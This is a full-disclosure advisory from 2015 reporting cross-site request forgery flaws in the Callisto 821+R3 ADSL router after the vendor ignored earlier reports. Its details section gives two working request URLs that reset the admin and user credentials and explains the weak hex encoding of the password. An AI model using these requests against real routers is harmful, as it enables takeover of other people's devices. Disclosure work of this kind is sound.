Callisto 821+R3 Cross Site Request Forgery
Posted on 06 October 2015
Hello list! After all my advisories about vulnerabilities in Callisto 821+ (http://seclists.org/fulldisclosure/2011/Aug/1) and recent advisory about Callisto 821+R3, here is new one. Because vendor ignored in 2011 all my letters and subsequent my public disclosure of vulnerabilities and new devices are vulnerable as well, so I disclosed vulnerabilities in Callisto 821+R3 ADSL Router. These are Cross-Site Request Forgery vulnerabilities. The whole control panel is vulnerable to CSRF, here are two vulnerabilities. SecurityVulns ID: 11700. ------------------------- Affected products: ------------------------- Vulnerable is the next model: Callisto 821+R3, Firmware Version: ZXDSL 831IIV7.5.1a_E09_UA. This model with other firmware and also other models of Callisto also must be vulnerable. ---------- Details: ---------- Cross-Site Request Forgery (WASC-09): For changing login and password of admin: http://site/adminpasswd.cgi?action=save&sysUserName=admin&sysPassword=E696D64616 For changing login and password of user: http://site/userpasswd.cgi?action=save&usrUserName=user&usrPassword=27563757 Parameters sysPassword and usrPassword contain encrypted password. The cipher is simple - this is hex values of chars in reverse order. I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/7975/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua
